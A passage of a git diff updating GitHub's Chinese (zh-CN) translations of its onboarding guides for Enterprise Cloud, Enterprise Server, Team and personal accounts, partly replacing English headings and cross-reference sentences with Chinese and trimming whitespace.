-You can enable and manage team synchronization between an identity provider (IdP) and {% data variables.product.prodname_dotcom %} to allow organizations owned by your enterprise account to manage team membership with IdP groups. For more information, see "[Managing team synchronization for organizations in your enterprise account](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)."
+You can enable and manage team synchronization between an identity provider (IdP) and {% data variables.product.prodname_dotcom %} to allow organizations owned by your enterprise account to manage team membership with IdP groups. 更多信息请参阅“[管理企业帐户中组织的团队同步](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)”。
 
 #### 4. Enforcing policies for Advanced Security features in your enterprise account
 {% data reusables.getting-started.enterprise-advanced-security %}
@@ -177,11 +177,11 @@ To manage and moderate your organization, you can set organization policies, man
 To manage and moderate your enterprise, you can set policies for organizations within the enterprise, view audit logs, configure webhooks, and restrict email notifications.
 #### 1. Managing policies for organizations in your enterprise account
 
-You can choose to enforce a number of policies for all organizations owned by your enterprise, or choose to allow these policies to be set in each organization. Types of policies you can enforce include repository management, project board, and team policies. For more information, see "[Setting policies for your enterprise](/enterprise-cloud@latest/admin/policies)."
+You can choose to enforce a number of policies for all organizations owned by your enterprise, or choose to allow these policies to be set in each organization. Types of policies you can enforce include repository management, project board, and team policies. 更多信息请参阅“[为您的企业设置策略](/enterprise-cloud@latest/admin/policies)”。
 #### 2. Viewing audit logs, configuring webhooks, and restricting email notifications for your enterprise
 You can view actions from all of the organizations owned by your enterprise account in the enterprise audit log. You can also configure webhooks to receive events from organizations owned by your enterprise account. For more information, see "[Viewing the audit logs for organizations in your enterprise](/enterprise-cloud@latest/admin/user-management/managing-organizations-in-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise)" and "[Managing global webhooks](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-global-webhooks)."
 
-You can also restrict email notifications for your enterprise account so that enterprise members can only use an email address in a verified or approved domain to receive notifications. For more information, see "[Restricting email notifications for your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise)."
+You can also restrict email notifications for your enterprise account so that enterprise members can only use an email address in a verified or approved domain to receive notifications. 更多信息请参阅“[限制企业的电子邮件通知](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise)”。
 
 ## Part 6: Customizing and automating your organization or enterprise's work on {% data variables.product.prodname_dotcom %}
 Members of your organization or enterprise can use tools from the {% data variables.product.prodname_marketplace %}, the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, and existing {% data variables.product.product_name %} features to customize and automate your work.
@@ -192,13 +192,13 @@ Members of your organization or enterprise can use tools from the {% data variab
 {% data reusables.getting-started.api %}
 ### 3. Building {% data variables.product.prodname_actions %}
 {% data reusables.getting-started.actions %}
-### 4. Publishing and managing {% data variables.product.prodname_registry %} 
+### 4. Publishing and managing {% data variables.product.prodname_registry %}
 {% data reusables.getting-started.packages %}
 ### 5. Using {% data variables.product.prodname_pages %}
 {% data variables.product.prodname_pages %} is a static site hosting service that takes HTML, CSS, and JavaScript files straight from a repository and publishes a website. You can manage the publication of {% data variables.product.prodname_pages %} sites at the organization level. For more information, see  "[Managing the publication of {% data variables.product.prodname_pages %} sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)" and "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)."
 ## Part 7: Participating in {% data variables.product.prodname_dotcom %}'s community
 
-Members of your organization or enterprise can use GitHub's learning and support resources to get the help they need. You can also support the open source community. 
+Members of your organization or enterprise can use GitHub's learning and support resources to get the help they need. You can also support the open source community.
 
 ### 1. Reading about {% data variables.product.prodname_ghe_cloud %} on {% data variables.product.prodname_docs %}
 You can read documentation that reflects the features available with {% data variables.product.prodname_ghe_cloud %}. For more information, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)."
@@ -210,7 +210,7 @@ For more information, see "[Git and {% data variables.product.prodname_dotcom %}
 ### 3. Supporting the open source community
 {% data reusables.getting-started.sponsors %}
 
-### 4. Contacting {% data variables.contact.github_support %}
+### 4. 联系 {% data variables.contact.github_support %}
 {% data reusables.getting-started.contact-support %}
 
-{% data variables.product.prodname_ghe_cloud %} allows you to submit priority support requests with a target eight-hour response time. For more information, see "[{% data variables.product.prodname_ghe_cloud %} support](/github/working-with-github-support/github-enterprise-cloud-support)."
+{% data variables.product.prodname_ghe_cloud %} allows you to submit priority support requests with a target eight-hour response time. 更多信息请参阅“[{% data variables.product.prodname_ghe_cloud %} 支持](/github/working-with-github-support/github-enterprise-cloud-support)”。
diff --git a/translations/zh-CN/content/get-started/onboarding/getting-started-with-github-enterprise-server.md b/translations/zh-CN/content/get-started/onboarding/getting-started-with-github-enterprise-server.md
index 4637e3b623..e67a90c14e 100644
--- a/translations/zh-CN/content/get-started/onboarding/getting-started-with-github-enterprise-server.md
+++ b/translations/zh-CN/content/get-started/onboarding/getting-started-with-github-enterprise-server.md
@@ -1,5 +1,5 @@
 ---
-title: Getting started with GitHub Enterprise Server
+title: 开始使用 GitHub Enterprise Server
 intro: 'Get started with setting up and managing {% data variables.product.product_location %}.'
 versions:
   ghes: '*'
@@ -16,31 +16,31 @@ This guide will walk you through setting up, configuring and managing {% data va
 
 For an overview of how {% data variables.product.product_name %} works, see "[System overview](/admin/overview/system-overview)."
 
-## Part 1: Installing {% data variables.product.product_name %}
-To get started with {% data variables.product.product_name %}, you will need to create your enterprise account, install the instance, use the Management Console for initial setup, configure your instance, and manage billing. 
+## 第 1 部分：安装 {% data variables.product.product_name %}
+To get started with {% data variables.product.product_name %}, you will need to create your enterprise account, install the instance, use the Management Console for initial setup, configure your instance, and manage billing.
 ### 1. Creating your enterprise account
-Before you install {% data variables.product.product_name %}, you can create an enterprise account on {% data variables.product.prodname_dotcom_the_website %} by contacting [{% data variables.product.prodname_dotcom %}'s Sales team](https://enterprise.github.com/contact). An enterprise account on {% data variables.product.prodname_dotcom_the_website %} is useful for billing and for shared features with {% data variables.product.prodname_dotcom_the_website %} via {% data variables.product.prodname_github_connect %}.  For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)."
-### 2. Installing {% data variables.product.product_name %}
-To get started with {% data variables.product.product_name %}, you will need to install the appliance on a virtualization platform of your choice. For more information, see "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/admin/installation/setting-up-a-github-enterprise-server-instance)."
+Before you install {% data variables.product.product_name %}, you can create an enterprise account on {% data variables.product.prodname_dotcom_the_website %} by contacting [{% data variables.product.prodname_dotcom %}'s Sales team](https://enterprise.github.com/contact). An enterprise account on {% data variables.product.prodname_dotcom_the_website %} is useful for billing and for shared features with {% data variables.product.prodname_dotcom_the_website %} via {% data variables.product.prodname_github_connect %}.  更多信息请参阅“[关于企业帐户](/admin/overview/about-enterprise-accounts)”。
+### 2. 安装 {% data variables.product.product_name %}
+To get started with {% data variables.product.product_name %}, you will need to install the appliance on a virtualization platform of your choice. 更多信息请参阅“[设置 {% data variables.product.prodname_ghe_server %} 实例](/admin/installation/setting-up-a-github-enterprise-server-instance)”。
 
 ### 3. Using the Management Console
 You will use the Management Console to walk through the initial setup process when first launching {% data variables.product.product_location %}. You can also use the  Management Console to manage instance settings such as the license, domain, authentication, and TLS. For more information, see "[Accessing the management console](/admin/configuration/configuring-your-enterprise/accessing-the-management-console)."
 
-### 4. Configuring {% data variables.product.product_location %}
+### 4. 配置 {% data variables.product.product_location %}
 In addition to the Management Console, you can use the site admin dashboard and the administrative shell (SSH) to manage {% data variables.product.product_location %}. For example, you can configure applications and rate limits, view reports, use command-line utilities. For more information, see "[Configuring your enterprise](/admin/configuration/configuring-your-enterprise)."
 
-You can use the default network settings used by {% data variables.product.product_name %} via the dynamic host configuration protocol (DHCP), or you can also configure the network settings using the virtual machine console. You can also configure a proxy server or firewall rules. For more information, see "[Configuring network settings](/admin/configuration/configuring-network-settings)."
+You can use the default network settings used by {% data variables.product.product_name %} via the dynamic host configuration protocol (DHCP), or you can also configure the network settings using the virtual machine console. 您还可以配置代理服务器或防火墙规则。 For more information, see "[Configuring network settings](/admin/configuration/configuring-network-settings)."
 
-### 5. Configuring high availability
+### 5. 配置高可用性
 You can configure {% data variables.product.product_location %} for high availability to minimize the impact of hardware failures and network outages. For more information, see "[Configuring high availability](/admin/enterprise-management/configuring-high-availability)."
 
-### 6. Setting up a staging instance
-You can set up a staging instance to test modifications, plan for disaster recovery, and try out updates before applying them to {% data variables.product.product_location %}.  For more information, see "[Setting up a staging instance](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance)."
+### 6. 设置暂存实例
+You can set up a staging instance to test modifications, plan for disaster recovery, and try out updates before applying them to {% data variables.product.product_location %}.  更多信息请参阅“[设置暂存实例](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance)”。
 
 ### 7. Designating backups and disaster recovery
-To protect your production data, you can configure automated backups of {% data variables.product.product_location %} with {% data variables.product.prodname_enterprise_backup_utilities %}. For more information, see "[Configuring backups on your appliance](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)."
+To protect your production data, you can configure automated backups of {% data variables.product.product_location %} with {% data variables.product.prodname_enterprise_backup_utilities %}. 更多信息请参阅“[在设备上配置备份](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)”。
 
-### 8. Managing billing for your enterprise
+### 8. 管理企业的帐单
 Billing for all the organizations and {% data variables.product.product_name %} instances connected to your enterprise account is aggregated into a single bill charge for all of your paid {% data variables.product.prodname_dotcom %}.com services. Enterprise owners and billing managers can access and manage billing settings for enterprise accounts. For more information, see "[Managing billing for your enterprise](/admin/overview/managing-billing-for-your-enterprise)."
 
 ## Part 2: Organizing and managing your team
@@ -49,13 +49,13 @@ As an enterprise owner or administrator, you can manage settings on user, reposi
 ### 1. Managing members of {% data variables.product.product_location %}
 {% data reusables.getting-started.managing-enterprise-members %}
 
-### 2. Creating organizations
+### 2. 创建组织
 {% data reusables.getting-started.creating-organizations %}
 
 ### 3. Adding members to organizations
 {% data reusables.getting-started.adding-members-to-organizations %}
 
-### 4. Creating teams
+### 4. 创建团队
 {% data reusables.getting-started.creating-teams %}
 
 ### 5. Setting organization and repository permission levels
@@ -88,7 +88,7 @@ You can upgrade your {% data variables.product.product_name %} license to includ
 You can customize and automate work in organizations in your enterprise with {% data variables.product.prodname_dotcom %} and {% data variables.product.prodname_oauth_apps %}, {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %} , and {% data variables.product.prodname_pages %}.
 
 ### 1. Building {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %}
-You can build integrations with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, such as {% data variables.product.prodname_github_apps %} or {% data variables.product.prodname_oauth_apps %}, for use in organizations in your enterprise to complement and extend your workflows. For more information, see "[About apps](/developers/apps/getting-started-with-apps/about-apps)."
+You can build integrations with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, such as {% data variables.product.prodname_github_apps %} or {% data variables.product.prodname_oauth_apps %}, for use in organizations in your enterprise to complement and extend your workflows. 更多信息请参阅“[关于应用程序](/developers/apps/getting-started-with-apps/about-apps)”。
 ### 2. Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API
 {% data reusables.getting-started.api %}
 
@@ -98,7 +98,7 @@ You can build integrations with the {% ifversion fpt or ghec %}{% data variables
 
 For more information on enabling and configuring {% data variables.product.prodname_actions %} on {% data variables.product.product_name %}, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)."
 
-### 4. Publishing and managing {% data variables.product.prodname_registry %} 
+### 4. Publishing and managing {% data variables.product.prodname_registry %}
 {% data reusables.getting-started.packages %}
 
 For more information on enabling and configuring {% data variables.product.prodname_registry %} for {% data variables.product.product_location %}, see "[Getting started with {% data variables.product.prodname_registry %} for your enterprise](/admin/packages/getting-started-with-github-packages-for-your-enterprise)."
@@ -110,7 +110,7 @@ For more information on enabling and configuring {% data variables.product.prodn
 ## Part 5: Connecting with other {% data variables.product.prodname_dotcom %} resources
 You can use {% data variables.product.prodname_github_connect %} to share resources.
 
-If you are the owner of both a {% data variables.product.product_name %} instance and a {% data variables.product.prodname_ghe_cloud %} organization or enterprise account, you can enable {% data variables.product.prodname_github_connect %}. {% data variables.product.prodname_github_connect %} allows you to share specific workflows and features between {% data variables.product.product_location %} and {% data variables.product.prodname_ghe_cloud %}, such as unified search and contributions. For more information, see "[Connecting {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/connecting-github-enterprise-server-to-github-enterprise-cloud)."
+If you are the owner of both a {% data variables.product.product_name %} instance and a {% data variables.product.prodname_ghe_cloud %} organization or enterprise account, you can enable {% data variables.product.prodname_github_connect %}. {% data variables.product.prodname_github_connect %} allows you to share specific workflows and features between {% data variables.product.product_location %} and {% data variables.product.prodname_ghe_cloud %}, such as unified search and contributions. 更多信息请参阅“[将 {% data variables.product.prodname_ghe_server %} 连接到 {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/connecting-github-enterprise-server-to-github-enterprise-cloud)”。
 
 ## Part 6: Using {% data variables.product.prodname_dotcom %}'s learning and support resources
 Your enterprise members can learn more about Git and {% data variables.product.prodname_dotcom %} with our learning resources, and you can get the support you need when setting up and managing {% data variables.product.product_location %} with {% data variables.product.prodname_dotcom %} Enterprise Support.
diff --git a/translations/zh-CN/content/get-started/onboarding/getting-started-with-github-team.md b/translations/zh-CN/content/get-started/onboarding/getting-started-with-github-team.md
index 27e6ee5e6a..9cb450578c 100644
--- a/translations/zh-CN/content/get-started/onboarding/getting-started-with-github-team.md
+++ b/translations/zh-CN/content/get-started/onboarding/getting-started-with-github-team.md
@@ -10,16 +10,16 @@ This guide will walk you through setting up, configuring and managing your {% da
 ## Part 1: Configuring your account on {% data variables.product.product_location %}
 As the first steps in starting with {% data variables.product.prodname_team %}, you will need to create a user account or log into your existing account on {% data variables.product.prodname_dotcom %}, create an organization, and set up billing.
 
-### 1. About organizations
-Organizations are shared accounts where businesses and open-source projects can collaborate across many projects at once. Owners and administrators can manage member access to the organization's data and projects with sophisticated security and administrative features. For more information on the features of organizations, see "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations#terms-of-service-and-data-protection-for-organizations)."
+### 1. 关于组织
+组织是共享帐户，其中业务和开源项目可一次协助处理多个项目。 所有者和管理员可通过复杂的安全和管理功能管理成员对组织数据和项目的访问。 For more information on the features of organizations, see "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations#terms-of-service-and-data-protection-for-organizations)."
 
 ### 2. Creating an organization and signing up for {% data variables.product.prodname_team %}
-Before creating an organization, you will need to create a user account or log in to your existing account on {% data variables.product.product_location %}. For more information, see "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/get-started/signing-up-for-github/signing-up-for-a-new-github-account)."
+Before creating an organization, you will need to create a user account or log in to your existing account on {% data variables.product.product_location %}. 更多信息请参阅“[注册新 {% data variables.product.prodname_dotcom %} 帐户](/get-started/signing-up-for-github/signing-up-for-a-new-github-account)”。
 
-Once your user account is set up, you can create an organization and pick a plan. This is where you can choose a {% data variables.product.prodname_team %} subscription for your organization. For more information, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)."
+Once your user account is set up, you can create an organization and pick a plan. This is where you can choose a {% data variables.product.prodname_team %} subscription for your organization. 更多信息请参阅“[从头开始创建新组织](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)”。
 
 ### 3. Managing billing for an organization
-You must manage billing settings, payment method, and paid features and products for each of your personal accounts and organizations separately. You can switch between settings for your different accounts using the context switcher in your settings. For more information, see "[Switching between settings for your different accounts](/billing/managing-your-github-billing-settings/about-billing-on-github#switching-between-settings-for-your-different-accounts)."
+You must manage billing settings, payment method, and paid features and products for each of your personal accounts and organizations separately. You can switch between settings for your different accounts using the context switcher in your settings. 更多信息请参阅“[在不同帐户的设置之间切换](/billing/managing-your-github-billing-settings/about-billing-on-github#switching-between-settings-for-your-different-accounts)”。
 
 Your organization's billing settings page allows you to manage settings like your payment method, billing cycle and billing email, or view information such as your subscription, billing date and payment history. You can also view and upgrade your storage and GitHub Actions minutes. For more information on managing your billing settings, see "[Managing your {% data variables.product.prodname_dotcom %} billing settings](/billing/managing-your-github-billing-settings)."
 
@@ -72,7 +72,7 @@ You can help to make your organization more secure by recommending or requiring
 ### 3. Building {% data variables.product.prodname_actions %}
 {% data reusables.getting-started.actions %}
 
-### 4. Publishing and managing {% data variables.product.prodname_registry %} 
+### 4. Publishing and managing {% data variables.product.prodname_registry %}
 {% data reusables.getting-started.packages %}
 
 ## Part 6: Participating in {% data variables.product.prodname_dotcom %}'s community
@@ -92,8 +92,8 @@ You can read documentation that reflects the features available with {% data var
 ### 5. Supporting the open source community
 {% data reusables.getting-started.sponsors %}
 
-### 6. Contacting {% data variables.contact.github_support %}
+### 6. 联系 {% data variables.contact.github_support %}
 {% data reusables.getting-started.contact-support %}
-## Further reading
+## 延伸阅读
 
 - "[Getting started with your GitHub account](/get-started/onboarding/getting-started-with-your-github-account)"
diff --git a/translations/zh-CN/content/get-started/onboarding/getting-started-with-your-github-account.md b/translations/zh-CN/content/get-started/onboarding/getting-started-with-your-github-account.md
index 245a75c61f..0839bfb13a 100644
--- a/translations/zh-CN/content/get-started/onboarding/getting-started-with-your-github-account.md
+++ b/translations/zh-CN/content/get-started/onboarding/getting-started-with-your-github-account.md
@@ -23,18 +23,18 @@ The first steps in starting with {% data variables.product.product_name %} are t
 {% ifversion fpt or ghec %}There are several types of accounts on {% data variables.product.prodname_dotcom %}. {% endif %} Every person who uses {% data variables.product.product_name %} has their own user account, which can be part of multiple organizations and teams. Your user account is your identity on {% data variables.product.product_location %} and represents you as an individual.
 
 {% ifversion fpt or ghec %}
-### 1. Creating an account
+### 1. 创建帐户
 To sign up for an account on {% data variables.product.product_location %}, navigate to https://github.com/ and follow the prompts.
 
-To keep your {% data variables.product.prodname_dotcom %} account secure you should use a strong and unique password. For more information, see "[Creating a strong password](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-strong-password)."
+To keep your {% data variables.product.prodname_dotcom %} account secure you should use a strong and unique password. 更多信息请参阅“[创建强式密码](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-strong-password)”。
 
 ### 2. Choosing your {% data variables.product.prodname_dotcom %} product
 You can choose {% data variables.product.prodname_free_user %} or {% data variables.product.prodname_pro %} to get access to different features for your personal account. You can upgrade at any time if you are unsure at first which product you want.
 
 For more information on all of {% data variables.product.prodname_dotcom %}'s plans, see "[{% data variables.product.prodname_dotcom %}'s products](/get-started/learning-about-github/githubs-products)."
 
-### 3. Verifying your email address
-To ensure you can use all the features in your {% data variables.product.product_name %} plan, verify your email address after signing up for a new account. For more information, see "[Verifying your email address](/github/getting-started-with-github/signing-up-for-github/verifying-your-email-address)."
+### 3. 验证电子邮件地址
+To ensure you can use all the features in your {% data variables.product.product_name %} plan, verify your email address after signing up for a new account. 更多信息请参阅“[验证电子邮件地址](/github/getting-started-with-github/signing-up-for-github/verifying-your-email-address)”。
 {% endif %}
 
 {% ifversion ghes %}
@@ -49,37 +49,37 @@ You will receive an email notification once your enterprise owner for {% data va
 
 {% ifversion fpt or ghes or ghec %}
 ### {% ifversion fpt or ghec %}4.{% else %}2.{% endif %} Configuring two-factor authentication
-Two-factor authentication, or 2FA, is an extra layer of security used when logging into websites or apps. We strongly urge you to configure 2FA for the safety of your account. For more information, see "[About two-factor authentication](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication)."
+双重身份验证（或 2FA）是登录网站或应用时使用的额外保护层。 We strongly urge you to configure 2FA for the safety of your account. 更多信息请参阅“[关于双重身份验证](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication)”。
 {% endif %}
 ### {% ifversion fpt or ghec %}5.{% elsif ghes %}3.{% else %}2.{% endif %} Viewing your {% data variables.product.prodname_dotcom %} profile and contribution graph
 Your {% data variables.product.prodname_dotcom %} profile tells people the story of your work through the repositories and gists you've pinned, the organization memberships you've chosen to publicize, the contributions you've made, and the projects you've created. For more information, see "[About your profile](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile)" and "[Viewing contributions on your profile](/github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile)."
 
 ## Part 2: Using {% data variables.product.product_name %}'s tools and processes
-To best use {% data variables.product.product_name %}, you'll need to set up Git. Git is responsible for everything {% data variables.product.prodname_dotcom %}-related that happens locally on your computer. To effectively collaborate on {% data variables.product.product_name %}, you'll write in issues and pull requests using {% data variables.product.prodname_dotcom %} Flavored Markdown.
+To best use {% data variables.product.product_name %}, you'll need to set up Git. Git 负责在您计算机上本地发生的、与 {% data variables.product.prodname_dotcom %} 有关的所有内容。 To effectively collaborate on {% data variables.product.product_name %}, you'll write in issues and pull requests using {% data variables.product.prodname_dotcom %} Flavored Markdown.
 
 ### 1. Learning Git
 {% data variables.product.prodname_dotcom %}'s collaborative approach to development depends on publishing commits from your local repository to {% data variables.product.product_name %} for other people to view, fetch, and update using Git. For more information about Git, see the "[Git Handbook](https://guides.github.com/introduction/git-handbook/)" guide. For more information about how Git is used on {% data variables.product.product_name %}, see "[{% data variables.product.prodname_dotcom %} flow](/get-started/quickstart/github-flow)."
-### 2. Setting up Git
-If you plan to use Git locally on your computer, whether through the command line, an IDE or text editor, you will need to install and set up Git. For more information, see "[Set up Git](/get-started/quickstart/set-up-git)."
+### 2. 设置 Git
+If you plan to use Git locally on your computer, whether through the command line, an IDE or text editor, you will need to install and set up Git. 更多信息请参阅“[设置 Git](/get-started/quickstart/set-up-git)”。
 
-If you prefer to use a visual interface, you can download and use {% data variables.product.prodname_desktop %}. {% data variables.product.prodname_desktop %} comes packaged with Git, so there is no need to install Git separately. For more information, see "[Getting started with {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop)."
+If you prefer to use a visual interface, you can download and use {% data variables.product.prodname_desktop %}. {% data variables.product.prodname_desktop %} comes packaged with Git, so there is no need to install Git separately. 更多信息请参阅“[开始使用 {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop)”。
 
-Once you install Git, you can connect to {% data variables.product.product_name %} repositories from your local computer, whether your own repository or another user's fork. When you connect to a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} from Git, you'll need to authenticate with {% data variables.product.product_name %} using either HTTPS or SSH. For more information, see "[About remote repositories](/get-started/getting-started-with-git/about-remote-repositories)."
+Once you install Git, you can connect to {% data variables.product.product_name %} repositories from your local computer, whether your own repository or another user's fork. When you connect to a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} from Git, you'll need to authenticate with {% data variables.product.product_name %} using either HTTPS or SSH. 更多信息请参阅“[关于远程仓库](/get-started/getting-started-with-git/about-remote-repositories)”。
 
 ### 3. Choosing how to interact with {% data variables.product.product_name %}
 Everyone has their own unique workflow for interacting with {% data variables.product.prodname_dotcom %}; the interfaces and methods you use depend on your preference and what works best for your needs.
 
 For more information about how to authenticate to {% data variables.product.product_name %} with each of these methods, see "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/about-authentication-to-github)."
 
-| **Method**  | **Description** | **Use cases** |
-| ------------- | ------------- | ------------- |
-| Browse to {% data variables.product.prodname_dotcom_the_website %} | If you don't need to work with files locally, {% data variables.product.product_name %} lets you complete most Git-related actions directly in the browser, from creating and forking repositories to editing files and opening pull requests.| This method is useful if you want a visual interface and need to do quick, simple changes that don't require working locally. |
-| {% data variables.product.prodname_desktop %} | {% data variables.product.prodname_desktop %} extends and simplifies your {% data variables.product.prodname_dotcom_the_website %} workflow, using a visual interface instead of text commands on the command line. For more information on getting started with {% data variables.product.prodname_desktop %}, see "[Getting started with {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop)." | This method is best if you need or want to work with files locally, but prefer using a visual interface to use Git and interact with {% data variables.product.product_name %}. |
-| IDE or text editor  | You can set a default text editor, like [Atom](https://atom.io/) or [Visual Studio Code](https://code.visualstudio.com/) to open and edit your files with Git, use extensions, and view the project structure. For more information, see "[Associating text editors with Git](/github/using-git/associating-text-editors-with-git)." | This is convenient if you are working with more complex files and projects and want everything in one place, since text editors or IDEs often allow you to directly access the command line in the editor. |
-| Command line, with or without {% data variables.product.prodname_cli %} | For the most granular control and customization of how you use Git and interact with {% data variables.product.product_name %}, you can use the command line. For more information on using Git commands, see "[Git cheatsheet](/github/getting-started-with-github/quickstart/git-cheatsheet)."<br/><br/> {% data variables.product.prodname_cli %} is a separate command-line tool you can install that brings pull requests, issues, {% data variables.product.prodname_actions %}, and other {% data variables.product.prodname_dotcom %} features to your terminal, so you can do all your work in one place. For more information, see "[{% data variables.product.prodname_cli %}](/github/getting-started-with-github/using-github/github-cli)." | This is most convenient if you are already working from the command line, allowing you to avoid switching context, or if you are more comfortable using the command line. |
-| {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API | {% data variables.product.prodname_dotcom %} has a REST API and GraphQL API that you can use to interact with {% data variables.product.product_name %}. For more information, see "[Getting started with the API](/github/extending-github/getting-started-with-the-api)." | The {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API would be most helpful if you wanted to automate common tasks, back up your data, or create integrations that extend {% data variables.product.prodname_dotcom %}. |
+| **方法**                                                                                                                                      | **描述**                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | **Use cases**                                                                                                                                                                                                                                                                                                     |
+| ------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Browse to {% data variables.product.prodname_dotcom_the_website %}                                                                        | If you don't need to work with files locally, {% data variables.product.product_name %} lets you complete most Git-related actions directly in the browser, from creating and forking repositories to editing files and opening pull requests.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | This method is useful if you want a visual interface and need to do quick, simple changes that don't require working locally.                                                                                                                                                                                     |
+| {% data variables.product.prodname_desktop %}                                                                                               | {% data variables.product.prodname_desktop %} 可扩展并简化您的 {% data variables.product.prodname_dotcom_the_website %} 工作流程，它使用可视界面，而不是在命令行上使用命令文本。 For more information on getting started with {% data variables.product.prodname_desktop %}, see "[Getting started with {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop)."                                                                                                                                                                                                                                                                                                                                              | This method is best if you need or want to work with files locally, but prefer using a visual interface to use Git and interact with {% data variables.product.product_name %}.                                                                                                                                   |
+| IDE or text editor                                                                                                                          | You can set a default text editor, like [Atom](https://atom.io/) or [Visual Studio Code](https://code.visualstudio.com/) to open and edit your files with Git, use extensions, and view the project structure. For more information, see "[Associating text editors with Git](/github/using-git/associating-text-editors-with-git)."                                                                                                                                                                                                                                                                                                                                                                                                                                   | This is convenient if you are working with more complex files and projects and want everything in one place, since text editors or IDEs often allow you to directly access the command line in the editor.                                                                                                        |
+| Command line, with or without {% data variables.product.prodname_cli %}                                                                     | For the most granular control and customization of how you use Git and interact with {% data variables.product.product_name %}, you can use the command line. For more information on using Git commands, see "[Git cheatsheet](/github/getting-started-with-github/quickstart/git-cheatsheet)."<br/><br/> {% data variables.product.prodname_cli %} is a separate command-line tool you can install that brings pull requests, issues, {% data variables.product.prodname_actions %}, and other {% data variables.product.prodname_dotcom %} features to your terminal, so you can do all your work in one place. For more information, see "[{% data variables.product.prodname_cli %}](/github/getting-started-with-github/using-github/github-cli)." | This is most convenient if you are already working from the command line, allowing you to avoid switching context, or if you are more comfortable using the command line.                                                                                                                                         |
+| {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API | {% data variables.product.prodname_dotcom %} has a REST API and GraphQL API that you can use to interact with {% data variables.product.product_name %}. For more information, see "[Getting started with the API](/github/extending-github/getting-started-with-the-api)."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | The {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API would be most helpful if you wanted to automate common tasks, back up your data, or create integrations that extend {% data variables.product.prodname_dotcom %}. |
 ### 4. Writing on {% data variables.product.product_name %}
